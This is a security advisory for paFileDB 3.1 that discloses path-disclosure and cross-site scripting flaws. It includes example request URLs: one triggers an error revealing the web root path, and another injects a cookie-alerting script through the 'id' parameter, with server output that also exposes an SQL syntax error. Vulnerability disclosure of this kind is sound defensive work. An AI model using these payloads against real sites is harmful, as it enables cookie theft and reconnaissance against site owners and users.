      paFileDB Multiple Vulnerabilities (XSS, Path Disclosure)
    ------------------------------------------------------------------------

    SUMMARY

    " <http://www.phparena.net/pafiledb.php> paFileDB is designed to allow
    webmasters have a database of files for download on their site. To add a
    download, all you do is upload the file using FTP or whatever method you
    use, log into paFileDB's admin center, and fill out a form to add a file.
    paFileDB lets you edit and delete the files too. No more messing with a
    bunch of HTML pages for a file database on your site! Using speedy MySQL
    for storing data, and powerful PHP for processing everything, paFileDB is
    one of the best and easiest ways to manage files!"

    The script package is prone to cross-site scripting attacks and
    information gathering by full path disclosure.

    DETAILS

    Vulnerable Systems:
     * paFileDB version 3.1, possibly prior

    Path Disclosure
    This vulnerability would allow a remote user to determine the full path to
    the web root directory and other potentially sensitive information.

    An example HTTP request:
    http://site/includes/admin/login.php?formname=DarkBicho&formpass=DarkBicho&B1=%3E%3E Log In %3C%3C&action=admin&login=do

    A standard error message is returned specifying the full pathname of the
    web root directory and the script path:
    Fatal error: Call to undefined function: locbar() in
    /home/site/includes/admin/login.php on line 12

    Additional vulnerable scripts (the list is by no means complete):
    http://localhost/includes/category.php
    http://localhost/includes/search.php
    http://localhost/includes/main.php
    http://localhost/includes/viewall.php
    http://localhost/includes/download.php
    http://localhost/includes/email.php
    http://localhost/includes/file.php
    http://localhost/includes/rate.php
    http://localhost/includes/stats.php

    Cross-site Scripting
    The XSS condition occurs due to the 'id' parameter not being thoroughly
    sanitized:
    http://localhost/pafiledb.php?action=category&id='<scr!pt>alert(document.cookie);</scr!pt>

    The error message returned by the server is:
    paFileDB was unable to successfully run a MySQL query.
    MySQL Returned this error: You have an error in your SQL syntax near
    '(document.cookie);'' at line 1 Error number: 1064
    The query that caused this error was: SELECT * FROM pafiledb_cat WHERE
    cat_id = '''
